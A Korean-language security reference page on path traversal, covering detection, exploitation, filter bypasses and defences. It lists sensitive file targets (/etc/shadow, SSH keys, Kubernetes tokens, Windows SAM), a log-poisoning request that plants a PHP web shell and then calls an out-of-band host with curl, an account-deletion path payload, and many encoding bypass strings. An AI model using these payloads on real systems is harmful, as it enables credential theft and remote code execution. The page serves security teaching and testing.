Path Traversal (Directory traversal)

Path Traversal (Directory traversal)

πŸ” Introduction

Path traversal(Directory traversal)은 μ„œλΉ„μŠ€μ—μ„œ μ‚¬μš©μžλ‘œλΆ€ν„° 받은 μž…λ ₯이 path ν˜•νƒœμ˜ λ°±μ—”λ“œμ—μ„œ 처리 λ‘œμ§μ„ κ°€μ§€λŠ” 경우, 이λ₯Ό μ‘°μž‘ν•˜μ—¬ κ³΅κ²©μžκ°€ μ›ν•˜λŠ” 경둜둜 μ ‘κ·Όν•˜μ—¬ λ™μž‘μ„ μˆ˜ν–‰ν•˜λŠ” 곡격기법을 μ˜λ―Έν•©λ‹ˆλ‹€.

보톡 File을 μ²˜λ¦¬ν•˜λŠ” κ³Όμ •μ—μ„œ κ°€μž₯ 많이 λ°œμƒν•˜λ©°, 파일 이름 등을 μ‚¬μš©μžλ‘œ λΆ€ν„° λ°›λŠ” 경우 μ‚¬μš©μžκ°€ ../ 같은 ꡬ문을 톡해 μƒμœ„ λ””λ ‰ν† λ¦¬λ‘œ μ ‘κ·Όν•˜κ±°λ‚˜ ν—ˆμš©λœ λ””λ ‰ν† λ¦¬μ˜ λ²”μœ„λ₯Ό λ²—μ–΄λ‚˜ μ‹œμŠ€ν…œ 파일 등을 읽을 수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ—‘ Offensive techniques

Detect

μ›Ή μ„œλΉ„μŠ€μ—μ„œ νŒŒλΌλ―Έν„°, 헀더 λ“±μ˜ μ‚¬μš©μž μš”μ²­μ΄ μ„œλ²„μ—μ„œ path ν˜•νƒœλ‘œ μ²˜λ¦¬ν•˜λŠ” 뢀뢄은 λͺ¨λ‘ κ°€λŠ₯성이 μ‘΄μž¬ν•©λ‹ˆλ‹€. κ°€μž₯ μ‰½κ²Œ μ‹λ³„ν•˜λŠ” 방법은 μ•„λž˜μ™€ 같이 Response둜 식별이 κ°€λŠ₯ν•œ νŽ˜μ΄μ§€λ₯Ό μš”μ²­ν•˜λ©΄μ„œ ../ λ“± 특수문자의 처리 μƒνƒœλ₯Ό νŒŒμ•…ν•˜λŠ” λ°©λ²•μž…λ‹ˆλ‹€.

GET /download?filename=123.txt => (200 OK)
GET /download?filename=444.txt => (404 NotFound)
GET /download?filename=./123.txt => (200 OK)

μœ„μ™€ 같은 경우 ./123.txt와 같이 path ν˜•νƒœλ‘œ ν˜ΈμΆœν–ˆμ„ λ–„ μ •μƒμ μœΌλ‘œ 처리됬기 λ•Œλ¬Έμ— 2κ°€μ§€μ˜ κ°€λŠ₯성을 κ°€μ§‘λ‹ˆλ‹€.

  • μ‹€μ œ path둜 처리된 경우
  • λ°±μ—”λ“œμ˜ λ³΄μ•ˆ 둜직으둜 ./ κ°€ blank 처리된 경우

μ—¬κΈ°μ„œ λ‘λ²ˆμ§Έ μΌ€μ΄μŠ€λ₯Ό λ‹€μ‹œ κ±ΈλŸ¬λ‚΄κΈ° μœ„ν•΄ μ•„λž˜μ™€ λΉ„μŠ·ν•œ ν˜•νƒœλ‘œ ν˜ΈμΆœν•΄λ΄…λ‹ˆλ‹€.

GET /download?filename=./123.txt (200 OK)
GET /download?filename=..//123.txt (404 NotFound)

λ§Œμ•½ ./κ°€ blank 처리라면 ./λŠ” λ‚ μ•„μ•„κ³ , ./123.txt둜 λ³€ν•˜κ±°λ‚˜ λ˜λŠ” 반볡적으둜 μ²˜λ¦¬ν•˜λ„λ‘ κ΅¬μ„±λœ κ²½μš°μ—λ„ κ²°κ΅­ 123.txtκ°€ 남기 λ•Œλ¬Έμ— blank 처리 둜직이라면 200OKκ°€ λ°œμƒν•΄μ•Όν•©λ‹ˆλ‹€. 단 μœ„ μ˜ˆμ‹œμ—μ„  404κ°€ λ°œμƒν–ˆκΈ° λ•Œλ¬Έμ— path ꡬ문(../)을 μ²˜λ¦¬ν•œ κ²ƒμœΌλ‘œ 보이고, μ΄λŠ” μ–΄λŠμ •λ„ μ·¨μ•½ν•˜λ‹€κ³  λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€.

Exploitation

Get system files

Path traversal이 κ°€λŠ₯ν•˜λ‹€κ³  νŒλ‹¨λ˜λ©΄ μ£Όμš” μ‹œμŠ€ν…œ νŒŒμΌμ„ μ½μ–΄μ˜€κ±°λ‚˜ 경둜λ₯Ό μ‘°μž‘ν•˜μ—¬ μ„œλΉ„μŠ€ μ•‘μ…˜μ΄ λ‹€λ₯Έ ν˜•νƒœλ‘œ λ™μž‘ν•˜λ„λ‘ μœ λ„ν•΄μ•Όν•©λ‹ˆλ‹€. 일반적으둜 μ‹œμŠ€ν…œ νŒŒμΌμ„ μ½λŠ”λ° μ‚¬μš©ν•˜λŠ” κ²½λ‘œλŠ” μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

Linux server

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db

Windows server

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

RCE with Log poisoning

Path traversal이 κ°€λŠ₯ν•œ μ„œλΉ„μŠ€κ°€ php, asp λ“± λ³„λ„μ˜ λΌμš°νŒ… 없이 ν™•μž₯자만으둜 μ„œλ²„ μ‚¬μ΄λ“œμ˜ κΈ°λŠ₯을 μ²˜λ¦¬ν•  수 μžˆλŠ” ν™˜κ²½μ—μ„œ include() ν•¨μˆ˜ λ“±μœΌλ‘œ μ½μ–΄μ˜€λŠ” 경우 Log poisoningκ³Ό μ‘°ν•©ν•˜μ—¬ RCEκΉŒμ§€ 영ν–₯λ ₯을 μ΄λŒμ–΄ λ‚Ό 수 μžˆμŠ΅λ‹ˆλ‹€. (일반적으둜 μ΄μ•ΌκΈ°ν•˜λŠ” LFI이죠.)

First request (log poisoning)

GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb

Second request (path traversal)

GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1

API Path Manipulation

Custom Scheme, DeepLink, Reverse Proxy ꡬ성 λ“± 2 ꡬ간 μ΄μƒμ—μ„œ API ν˜ΈμΆœμ„ μœ„ν•΄ μ—°μ†μ μœΌλ‘œ μš”μ²­μ΄ λ°œμƒν•˜λŠ” 경우 Path Traversal을 톡해 API μ£Όμ†Œλ₯Ό μœ„μ‘°ν•  수 μžˆμŠ΅λ‹ˆλ‹€. λ§Œμ•½ μ•„λž˜μ™€ 같이 Custom scheme을 ν˜ΈμΆœν•˜λŠ” 경우 λ‘λ²ˆμ§Έ μ½”λ“œ λΈ”λŸ­μ˜ APIκ°€ λ°œμƒν•œλ‹€κ³  κ°€μ •ν•©μ‹œλ‹€.

testapp://profile?id=4541
GET /users/4541/profile HTTP/1.1

이 λ•Œ id νŒŒλΌλ―Έν„°μ— Path traversal ꡬ문을 μ΄μš©ν•˜μ—¬ API Pathλ₯Ό λ³€μ‘°ν•˜λ©΄ μ‚¬μš©μžμ˜ μ„Έμ…˜μ„ μ΄μš©ν•˜μ—¬ μ˜λ„ν•˜μ§€ μ•Šμ€ κΈ°λŠ₯을 μ‹€ν–‰ν•  수 있게 λ©λ‹ˆλ‹€.

testapp://profile?id=../manage/delete-account?
GET /users/../manage/delete-account?/profile HTTP/1.1

Relative Path Overwrite

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

RPO(Relative Path Overwrite)에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ Cullinan > Relative Path Overwrite (RPO) λ¬Έμ„œλ₯Ό μ°Έκ³ ν•΄μ£Όμ„Έμš”.

Bypass protection

Basic

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass β€œ../” replaced by β€œβ€

..././
...\.\

Bypass β€œ../” with β€œ;”

..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt

Double URL encoding

. = %252e
/ = %252f
\ = %255c
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

UNC Bypass

\\localhost\c$\windows\win.ini

NGINX/ALB Bypass

http://nginx-server/../../ => 400
http://nginx-server////////../../` => 200

Tomcat via reverse proxy mapping

Tomcat에선 κ²½λ‘œμ— /..;/이 /../ 와 λ™μΌν•˜κ²Œ λ§€ν•‘λ©λ‹ˆλ‹€. 이λ₯Ό μ΄μš©ν•˜λ©΄ μ—¬λŸ¬ Hop의 μ„œλΉ„μŠ€ κ΅¬μ‘°μ—μ„œ Path traversal이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

location /api/ {
  proxy_pass http://internal_server/testapp/internal/api/
}
http://nginx-server/api/..;/..;/..;/docs/

πŸ›‘ Defensive techniques

이λ₯Ό λ°©μ–΄ν•˜κΈ° μœ„ν•΄μ„œλŠ” 파일 λ“± Pathλ₯Ό μ²˜λ¦¬ν•˜λŠ” κΈ°λŠ₯μ—μ„œ μ‚¬μš©μž μž…λ ₯을 λ°›λŠ” 경우 ../ λ“± μž„μ˜ 경둜λ₯Ό μ§€μ •ν•˜μ§€ λͺ»ν•˜λ„둝 μ œν•œν•΄μ•Όν•©λ‹ˆλ‹€. 보편적으둜 2κ°€μ§€ μ •λ„μ˜ λŒ€μ‘λ°©μ•ˆμ„ μ‚¬μš©ν•©λ‹ˆλ‹€.

Escape

μ‚¬μš©μž μž…λ ₯ κ΅¬κ°„μ—μ„œ ../ κ³Ό 같이 Pathλ₯Ό λ°”κΏ€ 수 μžˆλŠ” 특수문자 등에 λŒ€ν•΄μ„œ μ²˜λ¦¬ν•˜μ§€ μ•Šλ„λ‘ κ²€μ¦ν•΄μ•Όν•©λ‹ˆλ‹€. κ²€μ¦μ—λŠ” μ—¬λŸ¬κ°€μ§€ 방법이 μžˆκ² μ§€λ§Œ, 곡톡적인 뢀뢄은 . / 에 λŒ€ν•œ μ œν•œκ³Ό 인코딩 λ˜ν•œ 처리될 수 μžˆμ–΄ λͺ¨λ‘ λ””μ½”λ”© ν›„ 반볡적으둜 . / λ₯Ό μ œκ±°ν•˜λŠ” 것을 많이 μ‚¬μš©ν•©λ‹ˆλ‹€.

λ¬Όλ‘  μ‚¬μš©μžμ˜ μ»¨νŠΈλ‘€μ„ μ΅œμ†Œν™”ν•˜κΈ° μœ„ν•΄ μ‚¬μš©μž μž…λ ₯이 path에 영ν–₯ 쀄 수 μžˆλŠ” 뢀뢄을 μ€„μ΄λŠ” 것도 μ’‹μŠ΅λ‹ˆλ‹€.

Permission (Only filesystem)

File λ“±μ˜ μ ‘κ·Όμ˜ 경우 ν•΄λ‹Ή ν”„λ‘œμ„ΈμŠ€κ°€ 이동할 수 μžˆλŠ” μ΅œλŒ€μ˜ Directoryλ₯Ό μ§€μ •ν•΄μ£ΌλŠ” 것도 μ’‹μŠ΅λ‹ˆλ‹€. μ΄λŠ” μ‹œμŠ€ν…œ νŒŒμΌμ„ μ½μ–΄μ˜€λ €λŠ” μ‹œλ„μ— λŒ€ν•΄μ„œ κ°•λ ₯ν•˜κ²Œ 막을 수 μžˆμŠ΅λ‹ˆλ‹€. λ‹€λ§Œ 이 λ°©λ²•μ˜ 경우 우회 기법에 λŒ€ν•΄μ„œλŠ” μ•ˆμ „ν•œ νŽΈμ΄μ§€λ§Œ ν—ˆμš©ν•˜λŠ” 디렉토리 λ‚΄λΆ€μ—μ„œλŠ” νŒŒμΌμ„ μ½μ–΄μ˜¬ 수 있고, File/Directory κ΄€λ ¨ Traversal 곡격에 λŒ€ν•΄μ„œλ§Œ λŒ€μ‘ν•  수 μžˆλ‹€λŠ” 단점이 μžˆμŠ΅λ‹ˆλ‹€.

K/V 기반의 파일 μ‹œμŠ€ν…œ

AWS S3λŠ” KV(Key/Value) 기반의 μŠ€ν† λ¦¬μ§€μž…λ‹ˆλ‹€. μ΄λŸ¬ν•œ μŠ€ν† λ¦¬μ§€λ“€μ€ K에 λ§€ν•‘λœ Vλ₯Ό κ°€μ Έμ˜€κΈ° λ•Œλ¬Έμ— 사전에 νŠΉμ • K에 μ•…μ˜μ μΈ Vκ°€ μ„ΈνŒ…λ˜μ§€ μ•ŠλŠ” ν•œ 일반적으둜 Path traversal 곡격에 λŒ€μ‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ•Ή Tools

  • https://github.com/wireghoul/dotdotpwn

πŸ“š Articles

  • https://www.hahwul.com/2019/09/23/path-traversal-pattern-of-dotdot-slash/
  • https://www.hahwul.com/2019/07/02/zap-send-any-tools/#send-to-ddpdotdotpwn
  • https://www.hahwul.com/2019/03/17/critical-vulnerability-in-action-view-of-ruby-rails/
  • https://www.hahwul.com/2016/05/02/web-hacking-dotdotpwn-path-traversal/

πŸ“Œ References

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal